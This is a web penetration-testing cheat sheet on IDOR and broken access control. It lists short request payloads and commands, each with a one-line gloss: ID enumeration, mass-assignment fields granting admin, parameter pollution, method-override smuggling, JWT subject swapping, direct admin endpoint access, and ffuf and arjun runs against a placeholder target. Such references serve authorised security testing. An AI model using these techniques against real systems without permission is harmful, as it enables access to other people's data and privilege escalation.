← All Cheatsheets
web-pentest

IDOR & Broken Access Control

Insecure Direct Object Reference and broken access control — ID tampering, mass assignment, verb abuse, encoded references, BFLA function-level access and Autorize/Arjun tooling.

1 views Jun 2026 lazyhackers
Finding IDOR (4)
GET /api/users/1001 -> /api/users/1002
Increment/decrement object IDs to reach others' data
idor enum
GET /api/invoice?id=1002
Tamper an ID in the query string
idor query
/api/users/me vs /api/users/1002
Compare the self route with a direct-ID route
idor authz
ffuf -w ids.txt -u https://target.com/api/users/FUZZ -H "Authorization: Bearer TOKEN" -mc 200
Fuzz IDs and flag 200 responses
idor ffuf tooling
Parameter & Body Tampering (4)
{"userId": 1002}
Swap the user id in a JSON body
idor body
{"role":"admin","isAdmin":true}
Mass assignment — add privileged fields the API trusts
massassign privesc
id=self&id=1002
Duplicate parameter — some parsers honour the last (or first)
idor parampollution
id[]=1002
Wrap the id in an array to bypass type checks
idor type
HTTP Verb / Method (2)
change GET to PUT / PATCH / DELETE on another user's resource
Write or modify via an unprotected verb
bfla method
X-HTTP-Method-Override: PUT
Smuggle a privileged method past verb-based rules
method override
Indirect / Encoded References (3)
?id=MTAwMg== (base64 of 1002)
Decode, change, then re-encode object references
idor encoding
JWT sub claim set to the victim's id
Change the subject when the API trusts the token id
idor jwt
?file=<md5(1002)>
Guess hashed identifiers derived from sequential values
idor hash
BFLA — Function-Level (3)
GET /api/admin/users (as a low-privilege user)
Reach admin functions directly (Broken Function-Level Authz)
bfla admin
POST /api/users/1002/promote
Invoke privileged actions against other users
bfla privesc
swap /user/ for /admin/ in known routes
Guess hidden privileged endpoints
bfla enum
Bypass Tricks & Tooling (3)
append .json / a trailing slash / change path case
Dodge naive route-based access rules
bypass route
Burp Autorize / AuthMatrix extension
Auto-compare low-priv vs high-priv responses on every request
tooling burp
arjun -u https://target.com/api/endpoint
Discover hidden parameters that may be IDOR-able
tooling arjun